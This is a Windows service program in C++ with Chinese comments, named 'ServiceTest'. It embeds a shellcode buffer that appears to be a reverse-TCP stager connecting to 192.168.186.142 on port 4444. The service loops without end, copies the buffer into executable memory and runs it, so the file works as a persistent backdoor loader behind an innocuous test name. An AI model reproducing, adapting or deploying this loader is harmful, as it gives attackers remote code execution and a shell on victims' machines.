// ServiceTest.cpp : 定义控制台应用程序的入口点。
//
// ServiceTest.cpp : 定义控制台应用程序的入口点。
//
#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <Shlwapi.h>
#pragma comment(lib, "Shlwapi.lib")
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xba\x8e"
"\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
"\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0"
"\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8"
"\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00"
"\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68"
"\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3";
// 服务入口函数以及处理回调函数
void __stdcall ServiceMain(DWORD dwArgc, char* lpszArgv);
void __stdcall ServiceCtrlHandle(DWORD dwOperateCode);
BOOL TellSCM(DWORD dwState, DWORD dwExitCode, DWORD dwProgress);
void DoTask();
// 全局变量
char g_szServiceName[MAX_PATH] = "ServiceTest.exe"; // 服务名称
SERVICE_STATUS_HANDLE g_ServiceStatusHandle = { 0 };
BOOL bOnce = FALSE;
int _tmain(int argc, _TCHAR* argv[])
{
// 注册服务入口函数
SERVICE_TABLE_ENTRYA stDispatchTable[] = { {g_szServiceName, (LPSERVICE_MAIN_FUNCTIONA)ServiceMain }, { NULL, NULL } };
StartServiceCtrlDispatcherA(stDispatchTable);
return 0;
}
void __stdcall ServiceMain(DWORD dwArgc, char* lpszArgv)
{
g_ServiceStatusHandle = RegisterServiceCtrlHandlerA(g_szServiceName, ServiceCtrlHandle);
TellSCM(SERVICE_START_PENDING, 0, 1);
TellSCM(SERVICE_RUNNING, 0, 0);
// 自己程序实现部分代码放在这里
// !!注意!! 此处一定要为死循环, 否则在关机再开机的情况(不是点击重启), 不能创建用户进程
while (TRUE)
{
Sleep(5000);
DoTask();
}
}
void __stdcall ServiceCtrlHandle(DWORD dwOperateCode)
{
switch (dwOperateCode)
{
case SERVICE_CONTROL_PAUSE:
{
// 暂停
TellSCM(SERVICE_PAUSE_PENDING, 0, 1);
TellSCM(SERVICE_PAUSED, 0, 0);
break;
}
case SERVICE_CONTROL_CONTINUE:
{
// 继续
TellSCM(SERVICE_CONTINUE_PENDING, 0, 1);
TellSCM(SERVICE_RUNNING, 0, 0);
break;
}
case SERVICE_CONTROL_STOP:
{
// 停止
TellSCM(SERVICE_STOP_PENDING, 0, 1);
TellSCM(SERVICE_STOPPED, 0, 0);
break;
}
case SERVICE_CONTROL_INTERROGATE:
{
// 询问
break;
}
default:
break;
}
}
BOOL TellSCM(DWORD dwState, DWORD dwExitCode, DWORD dwProgress)
{
SERVICE_STATUS serviceStatus = { 0 };
BOOL bRet = FALSE;
RtlZeroMemory(&serviceStatus, sizeof(serviceStatus));
serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
serviceStatus.dwCurrentState = dwState;
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_SHUTDOWN;
serviceStatus.dwWin32ExitCode = dwExitCode;
serviceStatus.dwWaitHint = 3000;
bRet = SetServiceStatus(g_ServiceStatusHandle, &serviceStatus);
return bRet;
}
void DoTask()
{
if (bOnce == FALSE)
{
bOnce = TRUE;
LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
}
}